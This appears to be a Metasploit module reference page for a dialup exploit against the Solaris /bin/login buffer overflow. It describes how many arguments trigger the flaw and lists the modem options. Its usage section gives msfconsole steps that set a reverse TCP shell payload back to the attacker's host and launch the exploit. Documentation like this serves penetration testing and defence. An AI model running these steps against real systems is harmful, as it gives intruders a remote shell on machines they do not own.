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System V Derived /bin/login Extraneous Arguments Buffer Overflow

This exploit connects to a system's modem over dialup and exploits a buffer overlflow vulnerability in it's System V derived /bin/login. The vulnerability is triggered by providing a large number of arguments.


Rank

  • Good

Authors

  • I)ruid < druid [at] caughq.org >

References


Exploit Targets

  • 0 - Solaris 2.6 - 8 (SPARC) (default)

Development


Similar Modules


Usage Information

$ msfconsole

                ##                          ###           ##    ##
 ##  ##  #### ###### ####  #####   #####    ##    ####        ######
####### ##  ##  ##  ##         ## ##  ##    ##   ##  ##   ###   ##
####### ######  ##  #####   ####  ##  ##    ##   ##  ##   ##    ##
## # ##     ##  ##  ##  ## ##      #####    ##   ##  ##   ##    ##
##   ##  #### ###   #####   #####     ##   ####   ####   #### ###
                                      ##

msf > use exploit/dialup/multi/login/manyargs
msf exploit(manyargs) > show payloads
msf exploit(manyargs) > set PAYLOAD generic/shell_reverse_tcp
msf exploit(manyargs) > set LHOST [MY IP ADDRESS]
msf exploit(manyargs) > set NUMBER [STRING]
msf exploit(manyargs) > exploit


Module Options

BAUDRATE Baud Rate (default: 19200)
DATABITS Data Bits (4 is Windows Only) (accepted: 4, 5, 6, 7, 8) (default: 8)
DIALPREFIX Dial Prefix (default: ATDT *67, *70,)
DIALSUFFIX Dial Suffix
DIALTIMEOUT Dial Timeout in seconds (default: 60)
DISPLAYMODEM Displays modem commands and responses on the console
FLOWCONTROL Flow Control (accepted: None, Hardware, Software, Both) (default: None)
INITSTRING Initialization String (default: AT X6 S11=80)
NUMBER Number to Dial (e.g. 1.800.950.9955, (202) 358-1234, 358.1234 etc.)
PARITY Parity (Mark & Space are Windows Only) (accepted: None, Even, Odd, Mark, Space) (default: None)
SERIALPORT Serial Port (e.g. 0 (COM1), 1 (COM2), /dev/ttyS0, etc.) (default: /dev/ttyS0)
STOPBITS Stop Bits (accepted: 1, 2) (default: 1)
ContextInformationFile The information file that contains context information
DisablePayloadHandler Disable the handler code for the selected payload
EnableContextEncoding Use transient context when encoding payloads
VERBOSE Enable detailed status messages
WORKSPACE Specify the workspace for this module
WfsDelay Additional delay when waiting for a session